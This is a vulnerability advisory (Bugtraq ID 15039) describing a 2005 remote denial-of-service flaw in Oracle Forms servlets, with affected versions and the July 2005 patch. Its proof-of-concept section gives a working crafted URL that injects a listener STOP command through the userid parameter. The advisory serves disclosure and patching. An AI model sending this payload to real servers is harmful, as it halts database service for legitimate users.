Oracle Forms Servlet TLS Listener Remote Denial Of Service Vulnerability

BID:15039

Info

Oracle Forms Servlet TLS Listener Remote Denial Of Service Vulnerability

Bugtraq ID: 15039
Class: Access Validation Error
CVE:
Remote: Yes
Local: No
Published: Oct 07 2005 12:00AM
Updated: Oct 07 2005 12:00AM
Credit: Alexander Kornbrust <[email protected]> from Red-Database-Security is credited with the discovery of this issue.
Vulnerable: Oracle Forms And Reports 6.0.8 .25
Oracle Forms And Reports 5.0
Oracle Forms And Reports 4.5.10 .22
Oracle Forms And Reports 9i
Oracle Forms And Reports 6i
Oracle Forms And Reports 10g
Not Vulnerable:

Discussion

Oracle Forms Servlet TLS Listener Remote Denial Of Service Vulnerability

Oracle Forms is susceptible to a vulnerability that allows remote attackers to stop the TNS Listener service, denying further database service to legitimate users.

By issuing a specific HTTP request, remote attackers may cause the affected application to stop the TNS Listener.

This issue was reported in Oracle Forms versions prior to July 2005.

This issue was originally described and addressed in Oracle Critical Patch Update - July 2005, BID 14238 (Oracle July Security Update Multiple Vulnerabilities). Due to the availability of more information, this issue is being assigned a separate BID.

Exploit / POC

Oracle Forms Servlet TLS Listener Remote Denial Of Service Vulnerability

An exploit is not required.

The following proof of concept example is available:

http://www.example.com:8888/forms90/f90servlet?form=test.fmx&userid=SCOTT/TIGER@(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(HOST=server)(PORT=1521)))(CONNECT_DATA=(COMMAND=STOP)(SERVICE=LISTENER)))&buffer_records=NO&debug_messages=NO&array=YES&query_only=NO&quiet=NO&RENDER=YES

Solution / Fix

Oracle Forms Servlet TLS Listener Remote Denial Of Service Vulnerability

Solution:
Oracle has released a Critical Patch Update (Critical Patch Update - July 2005) to address this issue. Information regarding obtaining and applying an appropriate patch can be found in the Oracle Critical Patch Update in references.

References

Oracle Forms Servlet TLS Listener Remote Denial Of Service Vulnerability

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